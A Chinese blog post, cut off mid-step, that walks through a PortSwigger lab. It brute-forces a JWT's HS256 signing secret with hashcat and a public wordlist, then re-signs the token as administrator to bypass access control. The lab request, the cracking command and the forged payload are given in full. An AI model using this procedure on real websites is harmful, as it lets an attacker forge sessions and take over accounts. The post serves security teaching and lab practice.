6种常见的JWT Attack,绕过网站身份验证 - 3.爆力破解对称式加密签名

最新推荐文章于 2025-06-19 16:13:33 发布

牛的大腦-網站安全

最新推荐文章于 2025-06-19 16:13:33 发布

阅读量989

点赞数 19

CC 4.0 BY-SA版权

文章标签：网络安全 web安全安全威胁分析系统安全安全性测试

本文链接：https://blog.csdn.net/raymond0820/article/details/137455612

本文详细介绍了JWT攻击的原理，包括未验证签名、爆力破解对称加密等手法。通过示例展示了如何利用HS256进行攻击，以及如何通过找到并替换secretkey来防止这类攻击。同时推荐了WebSecurityAcademy的相关资源以获取更多防范措施。

简介

JWT攻击是使用者向网站发送修改后的JWT，目标是冒充另一个身份的使用者，并绕过身份验证和存取控制。如果攻击者能够使用任意值创建自己的JWT有效令牌，他们能够升级自己的权限或冒充其他用户，完全控制他们的帐户。

JWT常见攻击手法有以下几种：

签名未验证
JWT无签名
爆力破解对称式加密签名
用kid绕过对称式加密签名
用JWK绕过非对称式加密签名
用JKU绕过非对称式加密签名

关于JWT的介绍可参考json web token介绍

3.爆力破解对称式加密签名

某些签名算法，像是HS256（HMAC+SHA-256），可以使用任意字符串做为密钥，因此可以透过爆力密码破解得到密钥，并使用密钥重签名

举例如下，以下是访问网站的JWT token，需要administrator身份才能访问，而且使用HS256签名

################ request ################
GET /admin HTTP/1.1
Host: 0aff00980379e949c0ec224a00f90071.web-security-academy.net
Cookie: session=eyJraWQiOiJkYjFiZWEzOS05MjQwLTRjYjItODQ0MS04NjZjMjIxZDFmODUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NzYwNjgwNH0.faMYDNGlalEN2C5YD2NGaRejmOAIXj1GQ2priBVj3yE
...omit...

################ response ################ 
...omit...Admin interface only available if logged in as an administrator...omit...

所以直接改成adminstrator没有用，还必须要得到签名用的secret key，在重新根据修改内容重新签名才行，步骤如下

step1，找出secret key

先准备一组密码档jwt.secrets.list，内容可以参考https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list

然后透过hastcat尝试爆力破解目前token

hashcat -a 0 -m 16500 eyJraWQiOiJkYjFiZWEzOS05MjQwLTRjYjItODQ0MS04NjZjMjIxZDFmODUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NzYwNjgwNH0.faMYDNGlalEN2C5YD2NGaRejmOAIXj1GQ2priBVj3yE jwt.secrets.list

破解后会发现secret key为secret1

step2，产生JWT key

在JWT editor keys中选择new symmetric key, 按下generate会产生以下内容

<span style="color:#292b2c"><span style="background-color:#e9e9e9"><code>{
    "kty": "oct",
    "kid": "6e45657d-202e-4e74-a50d-0c8f785dc1cf",
    "k": "qzlgHvHrjWoqNS_9Jd_1EQ"
}</code></span></span>

将刚刚的secret key使用base64编码得到c2VjcmV0MQ==，然后贴上如下

<span style="color:#292b2c"><span style="background-color:#e9e9e9"><code>{
    "kty": "oct",
    "kid": "6e45657d-202e-4e74-a50d-0c8f785dc1cf",
    "k": "c2VjcmV0MQ=="
}</code></span></span>

step3. 对修改的内容重签名

在JWT editor将原本的token内容改为administrator如下

<span style="color:#292b2c"><span style="background-color:#e9e9e9"><code>{
    "iss": "portswigger",
    "sub": "administrator", 
    "exp": 1657606804
}</code></span></span>

接着在JWT editor中点选sign，然后选择以下配置